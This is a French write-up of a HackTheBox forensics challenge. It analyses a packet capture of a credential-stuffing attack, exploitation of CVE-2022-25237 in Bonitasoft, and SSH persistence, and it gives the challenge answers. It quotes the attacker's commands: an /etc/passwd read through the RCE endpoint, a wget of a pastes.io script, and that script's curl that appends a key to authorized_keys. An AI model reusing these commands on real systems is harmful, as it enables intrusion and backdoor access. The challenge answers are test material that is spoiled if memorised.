Aller au contenu principal

HACKTHEBOX - MEERKAT

Contexte

As a fast growing startup, Forela have been utilising a business management platform. Unfortunately our documentation is scarce and our administrators aren't the most security aware. As our new security provider we'd like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

T1 - Nom de l'application

En regardant les trames wireshark, on constate pas mal de requêtes http :

Un certain nombre de ces requêtes vont vers un url : /bonita/loginservice

En regardant de plus près sur internet, nous trouvons le software bonitasoft

T1 : We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? : =Bonitasoft

T2 - Technique employée par l'attaquant

On remarque que les tentatives de l'attaquant sont des mots de passes complexes :

C'est donc un "credential stuffing", car l'attaquant utilise des mots de passe déja connus.

T2 : We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? : Credential Stuffing

T3 et T4 : CVE exploitée par l'attaquant

Nous notons que l'attaquant arrive à se logger a partir du paquet 2900 :

Ensuite, il utilise un nom d'api assez bizarre. En effet ce dernier est /bonita/API/pageUpload;i18ntranslation?action=add

Les champs i18translation sont en général pour les contenus traduit.

On remarque que cela correspond a une CVE (CVE-2022-25237) : https://nvd.nist.gov/vuln/detail/CVE-2022-25237

T3 : Does the vulnerability exploited have a CVE assigned - and if so, which one? : CVE-2022-25237

T4 : Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit? : i18ntranslation

T5 et T6 : Comptes compromis par l'attaquant + tentatives

Nous devons alors trouver le nombre de combinaisons utilisateur:mdp que l'attaquant a utilisé. Pour cela, nous utiliserons tshark, un utilitaire permettant de traiter des .pcap en cli. Ce tool est préinstallé sur kali et parrot OS.

tshark -r meerkat.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep "username=" | sort | uniq -c

Le résultat est le suivant :

      1 username=Adora.Mersh%40forela.co.uk&password=85Hh8JZkJR6&_l=en
1 username=Adrea.Shervil%40forela.co.uk&password=7YoFhtUq&_l=en
1 username=Ahmed.Monteaux%40forela.co.uk&password=6uskrtw8U&_l=en
1 username=Alexi.Siman%40forela.co.uk&password=iUS11pX&_l=en
1 username=Aline.Rivallant%40forela.co.uk&password=gFixyf1nGgf&_l=en
1 username=Antoinette.Vittel%40forela.co.uk&password=bGtHL8cg&_l=en
1 username=Bernelle.Draycott%40forela.co.uk&password=MmxlUAWe0oW&_l=en
1 username=Berny.Ferrarin%40forela.co.uk&password=lPCO6Z&_l=en
1 username=Cariotta.Whife%40forela.co.uk&password=x3hoU0&_l=en
1 username=Clerc.Killich%40forela.co.uk&password=vYdwoVhGIwJ&_l=en
1 username=Cordelie.Rostron%40forela.co.uk&password=mAtdcJh&_l=en
1 username=Cyndy.Element%40forela.co.uk&password=ybWxct&_l=en
1 username=Cynthia.Hatto%40forela.co.uk&password=z0NXI6&_l=en
1 username=Denny.Gepson%40forela.co.uk&password=q2JqCSXk69&_l=en
1 username=Drusilla.Nice%40forela.co.uk&password=l35Euh0T3Am&_l=en
1 username=Ebony.Oleszcuk%40forela.co.uk&password=uAWnyfKOjQM&_l=en
1 username=Elka.Cavet%40forela.co.uk&password=n1aSdc&_l=en
1 username=Ellerey.Bierling%40forela.co.uk&password=Nva0nKTz&_l=en
1 username=Farleigh.Schouthede%40forela.co.uk&password=JzI6Dvhy&_l=en
1 username=Fredrick.Gerraty%40forela.co.uk&password=W1By0HUByDHO&_l=en
1 username=Garrard.Colisbe%40forela.co.uk&password=jMi9iP&_l=en
1 username=Gerri.Cordy%40forela.co.uk&password=w15pvWGTK&_l=en
1 username=Gianina.Tampling%40forela.co.uk&password=maUIffqQl&_l=en
1 username=Griffith.Lumm%40forela.co.uk&password=QPepd0M8wBK&_l=en
1 username=Guss.Botten%40forela.co.uk&password=sVMRgGmv0sE&_l=en
1 username=Gypsy.Henric%40forela.co.uk&password=lLPqVgmHs5F&_l=en
1 username=Imelda.Braben%40forela.co.uk&password=dC7bjGLYB&_l=en
59 username=install&password=install&_l=en
1 username=Jenilee.Pressman%40forela.co.uk&password=3eYwLOKhQEcl&_l=en
1 username=Jordain.Eykel%40forela.co.uk&password=rnMXBNdNW0&_l=en
1 username=Kayley.Northway%40forela.co.uk&password=s9MC7mkdVU&_l=en
1 username=Konstance.Domaschke%40forela.co.uk&password=6XLZjvD&_l=en
1 username=Lauren.Pirozzi%40forela.co.uk&password=wsp0Uy&_l=en
1 username=Marven.Samuel%40forela.co.uk&password=LPU0qQnt108&_l=en
1 username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en
1 username=Mella.Amsberger%40forela.co.uk&password=4nIYM5WqN&_l=en
1 username=Merl.Lavalde%40forela.co.uk&password=BgfiOVXNLBc&_l=en
1 username=Merna.Rammell%40forela.co.uk&password=u7pWoF36fn&_l=en
1 username=Nefen.Heffernon%40forela.co.uk&password=VR0ZA8&_l=en
1 username=Noam.Harvett%40forela.co.uk&password=VDt8bh&_l=en
1 username=Nola.Crichmer%40forela.co.uk&password=QGa58W3L&_l=en
1 username=Norbie.Bartolini%40forela.co.uk&password=GV2zlop&_l=en
1 username=Osborne.Humpatch%40forela.co.uk&password=OJ4WHcI4D&_l=en
1 username=Pat.Kloisner%40forela.co.uk&password=N8ZwVMzF6&_l=en
1 username=Pete.Panons%40forela.co.uk&password=BKdkGTB&_l=en
1 username=Puff.Yapp%40forela.co.uk&password=M08Aae&_l=en
1 username=Rakel.Cawley%40forela.co.uk&password=h4gW3YLwnW9t&_l=en
1 username=Samaria.Percifull%40forela.co.uk&password=CUgc3hzHw5g&_l=en
4 username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en
1 username=Sharon.Claus%40forela.co.uk&password=3X4d06I&_l=en
1 username=Skipton.Pickerill%40forela.co.uk&password=lcsui1Nu&_l=en
1 username=Stanleigh.Tuckwell%40forela.co.uk&password=VQCk8TGn3&_l=en
1 username=Talya.Sterman%40forela.co.uk&password=3gCERZ2JMh&_l=en
1 username=Teresita.Benford%40forela.co.uk&password=uvYjtQzX&_l=en
1 username=Tobiah.Horstead%40forela.co.uk&password=fp0OQl&_l=en
1 username=Vida.Murty%40forela.co.uk&password=4ulecG&_l=en
1 username=Winston.Conville%40forela.co.uk&password=cEmh5W2Vh&_l=en

Il ne nous suffit plus qu'a compter les lignes, avec wc :

tshark -r meerkat.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep "username=" | sort | uniq -c | wc -l

57

La réponse est 56, car la combinaison install:install n'est pas une combinaison d'username:password

T5 : How many combinations of usernames and passwords were used in the credential stuffing attack? : 56

Cette fois ci, il est plus simple de regarder le wireshark :

Il faut regarder la combinaison utilisée dans le paquet 2970. Ce dernier à reçu une réponse 200 OK ce qui signifie que la combinaison utilisée est la bonne !

A noter également que cette combinaison a été utilisée 4 fois (cf tshark)

T6 : Which username and password combination was successful? : [email protected]:g0vernm3nt

T7 : Analyse de l'attaque

Nous retraçons l'attaque :

Paquet 3573 : L'attaquant upload un fichier zip

Ce dernier, nommé rce_api_extension.zip est un projet maven/java permettant de faire sa rce


Paquet 3580 : l'attaquant execute son payload RCE (sur la page /bonita/API/portal/page;i18ntranslation). Ce dernier "active" son extension, ce qui lui permet d'intéragir avec cette dernière et de passer des commandes


Paquet 3586 : L'attaquant fait passer la commande passwd depuis l'url /bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd


Paquet 3588 : Retour de la commande via un objet JSON

Output :

/out:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false

Paquet 3591 : L'attaquant se fait déconnecter, et sa rce se fait supprimer.


Paquet 3593, 3610, 3615, 3618, 3621 : L'attaquant se réauthentifie


Paquet 3639, 3642, 3646, 3649 : L'attaquant réupload sa charge utile


Paquet 3652 : L'attaquant execute la commande wget https://pastes.io/raw/bx5gcr0et8


Le contenu de ce dernier est le suivant :

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

T7 : If any, which text sharing site did the attacker utilise? : pastes.io

T8, T9, T10 et T11 : Persistence

T8 : Please provide the file hash of the script used by the attacker to gain persistent access to our host. : 0dc54416c346584539aa985e9d69a98e

Ce script charge les clés publiques contenues dans https://pastes.io/raw/hffgra4unv puis redémarre le service ssh. Cela permet a l'attaquant d'avoir une persistence dans la machine

La clé publique est la suivante :

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgruRMq3DMroGXrcPeeuEqQq3iS/sAL3gryt+nUqbBA/M+KG4ElCvJS4gP2os1b8FMk3ZwvrVTdpEKW6wdGqPl2wxznBjOBstx6OF2yp9RIOb3c/ezgs9zvnaO07YC8Sm4nkkXHgkabqcM7rHEY4Lay0LWF9UbxueSAHIJgQ2ADbKSnlg0gMnJTNRwKbqesk0ZcG3b6icj6nkKykezBLvWc7z4mkSm28ZVTa15W3HUWSEWRbGgJ6eMBdi7WnWXZ92SYDq0XUBV2Sx2gjoDGHwcd6I0q9BU52wWYo3L3LaPEoTcLuA+hnn82086oUzJfmEUtWGlPAXfJBN7vRIMSvsN

Cela permet a l'attaquant d'avoir une backdoor permanente, sans avoir a "rééexploiter" la CVE-2022-25237, et sans générer des logs supplémentaires.

Par ailleurs, cela lui offre de nombreuses possibilités, telles que du ssh tunneling, du transfert de fichiers, etc...

T9 : Please provide the file hash of the public key used by the attacker to gain persistence on our host. : dbb906628855a433d70025b6692c05e7

T10 : Can you confirmed the file modified by the attacker to gain persistence? : /home/ubuntu/.ssh/authorized_keys (cf script n°1)

Paquet 3784 : Retour de la commande, ce qui confirme a l'attaquant que le script a bien été downloadé

Paquet 3786 : Déconnexion de l'attaquant, suppression de la rce

Paquet 3679 - 3745 : Re-Authentication de l'attaquant, re-upload de la charge utile

Paquet 3748 : Execution de la commande bash bx5gcr0et8 pour exécuter le script permettant d'ajouter la clé publique SSH de l'attaquant

Paquet 3826 : L'attaquant se connecte via SSH

T11 : Can you confirm the MITRE technique ID of this type of persistence mechanism? : T1098.004 (https://attack.mitre.org/techniques/T1098/004/)